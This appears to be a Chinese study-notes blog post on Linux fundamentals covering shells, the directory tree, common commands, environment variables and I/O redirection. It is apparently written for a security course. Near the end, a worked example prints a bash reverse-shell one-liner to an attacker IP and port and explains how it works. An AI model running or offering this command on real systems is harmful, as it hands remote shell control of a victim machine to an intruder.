章节4 Linux操作系统基础知识

4.1-Linux系统结构

Linux系统结构

  1. 内核
  2. Shell
  3. 文件系统
  4. 应用程序

章节4 Linux操作系统基础知识_第1张图片

Linux操作系统内核

  1. 管理进程
  2. 管理内存
  3. 管理驱动
  4. 管理文件和网络

Linux Shell

接收用户的命令,经过转换,交给内核去执行

cat —> open() read()

  1. 简化操作
  2. 安全

Linux Shell工具(了解)

章节4 Linux操作系统基础知识_第2张图片

章节4 Linux操作系统基础知识_第3张图片

名称 程序路径 作者
bourne Shell /usr/bin/sh或/bin/sh Stephen Bourne
C Shell /usr/bin/csh Bill Joy
K Shell /usr/bin/ksh David Korn
Bourne Again Shell /bin/bash Brian Fox
Z Shell /bin/zsh或/usr/bin/zsh Paul Falstad

Windows: cmd、Power Shell

Shell和Terminal

章节4 Linux操作系统基础知识_第4张图片

Shell编程/Shell脚本(.sh)

章节4 Linux操作系统基础知识_第5张图片

Linux文件系统

“一切皆文件”

普通文件、目录、进程(/proc)、输入输出设备(/dev)、网络字节流socket、链接文件、管道文件

查看文件 作用
lsof /bin/bash 查看某个文件相关的进程
lsof -u root 列出某个用户打开的文件信息
lsof -c redis 列出某个程序进程所打开的文件信息
lsof -i tcp 列出所有tcp网络连接信息

Linux目录

(颜色无需记忆)

章节4 Linux操作系统基础知识_第6张图片

章节4 Linux操作系统基础知识_第7张图片

在这里插入图片描述

根目录文件-1

(理解,无需记忆)

目录 作用 备注
bin 存放普通用户可执行的指令 即使在单用户模式下也能够执行处理
boot 开机引导目录 包括Linux内核文件与开机所需要的所需要的文件
dev 设备目录 所有的硬件设备及周边均放置在这个设备目录中,比如声卡、磁盘
etc 各种配置文件目录 大部分配置属性均存放在这里
lib 库文件存放地,bin和sbin需要的库文件 类似windows的DDL
media 可移除设备挂载目录 类似U盘、光盘、移动硬盘等临时挂放目录

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

根目录文件-2

目录 作用 备注
mnt 用户临时挂载其他的文件系统 额外的设备可挂载在这里,相对临时而言
opt 第三方软件安装目录 现在习惯地放置在/usr/local中
proc 虚拟文件系统 通常是内存中的映射,特别注意在误删数据文件后,比如DB,只要系统不重启,还是有很大几率能将数据找回来**(了解)**
root 系统管理员目录 除root之外,其他用户均放置在/home目录下
run 系统运行时所需文件 以前放置在/var/run中,后来拆分成独立的run目录。重启后生成对应的目录数据

在这里插入图片描述

根目录文件-3

目录 作用 备注
sbin 只有root才能运行的管理命令 跟bin类似,但只属于root管理员
srv 服务启动后需要访问的数据目录
sys 跟proc一样,虚拟文件系统 记录核心系统硬件信息
tmp 存放临时文件目录 所有用户对该目录均可读写
usr 应用程序放置目录
var 存放系统执行过程经常改变的文件

用户主目录

主目录:home directory

root用户的主目录是 /root

其他用户的主目录是 /home/用户名

cd 空格 或者 cd ~

工作目录:working directory

目录指代

符号 指代
绝对路径 由根目录 / 开始写起
相对路径 从当前所在的工作目录开始写起
/ 根目录
. 代表当前目录
~ 代表用户工作目录,vim ~/.bashrc
…/ 代表上一级目录
…/…/ 上上一级目录,以此类推,超出范围的时候代表根目录

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

4.2-Linux常用操作

命令帮助

man command(manual)——具体参数和使用方法**(用的最多)**

whatis command——命令的简要说明**(了解)**

info command——详细介绍**(了解)**

help command——Linux内置命令**(了解)**

关机重启(root用户)

关机:

poweroff

shutdown -h now

halt -p

重启:

reboot

快捷键和命令-1

操作 作用
Tab键 补全命令和目录(自动提示)
方向键 上一条命令:↑;下一条命令↓
Ctrl + r 搜索历史命令,回车执行
!cd: 重复执行最近一次,以cd开头的历史命令
Ctrl + Insert(不是所有电脑都用得了,本人就用不了) 复制
Shift + Insert(不是所有电脑都用得了,本人就用不了) 粘贴
Alt + Insert(不是所有电脑都用得了,本人就用不了) 复制并粘贴

快捷键和命令-2

操作 作用
Ctrl + E 光标移动到行尾
Ctrl + A 光标移动到行首
Ctrl + K 清楚光标后至行尾
Ctrl + U 清楚光标前至行首间的所有内容
clear 清屏,但是命令都还在
history 查看历史命令
history -c 清楚历史命令 kali: echo > ~/.zsh_history

别名设置

查看别名:alias

设置别名(以bash为例):vim ~/.bashrc

格式:alias short=‘xxx;xxx’

生效:source ~/.bashrc

通配符

符号 指代
* 任意字符
? 单个字符
[] 可以查询到与括号内匹配的结果,比如[0-9] [a-z]
{} 可以查询到与括号内文件类型匹配的所有文件结果 ll {*.log, *.txt}
^ 取反 ll *{^txt} 查找不是.txt结尾的文件

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

章节4 Linux操作系统基础知识_第8张图片

系统环境变量

查看全部变量:env

查看单个变量:echo $XXX

用户变量:~/.bashrc

系统变量:/etc/profile

在这里插入图片描述

案例:设置JDK环境变量

vim /etc/profile

export JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

source /etc/profile

4.3-文件描述符和重定向

文件描述符 File Descriptor

ID 描述 设备
0 标准输入(stdin) 键盘
1 标准输出(stdout) 显示器
2 标准错误输出(stderr) 显示器

重定向

符号 类别
>和>> 输出重定向
&> 表示将一个流(stream)重定向到另一个文件描述符(file descriptor)
<和<< 输入重定向

重定向:改变输入输出的方向

输出重定向

章节4 Linux操作系统基础知识_第9张图片

>:覆盖

>>:追加

在这里插入图片描述

章节4 Linux操作系统基础知识_第10张图片

在这里插入图片描述

输入重定向

命令格式 示例
command < file 将file文件中的内容作为command的输入(省略了0)
command < END 从标准输入(键盘)中读取数据,直到遇见分界符才停止
command < file1> file2 将file1作为command的输入,并将command的处理结果输出到file2
wc -l < test.txt 统计test.txt文件中有多少行文本
wc -l << END 统计用户在终端输入的文本的行数

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Shift+ G

在这里插入图片描述

q:退出

在这里插入图片描述

章节4 Linux操作系统基础知识_第11张图片

bash反弹连接案例

(不需要理解什么是反弹连接,为什么它可以获得一个控制别人的窗口)

bash -i >& /dev/tcp/192.168.142.44/7777 0>&1

bash -i 在靶机打开交互式的Shell

/dev/tcp/192.168.142.44/7777 连接到攻击机IP端口

>&和&>等价,代表标准输出1 + 错误输出2;把靶机的输出重定向到攻击机**——接收结果用。**

0>&1,左边是标准输入。右边是标准输出输出重定向。把靶机的输入重定向为攻击机的输出**——接收命令用。**

所以,靶机的输入输出都到了攻击机上。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

你可能感兴趣的:(网络安全,linux,网络)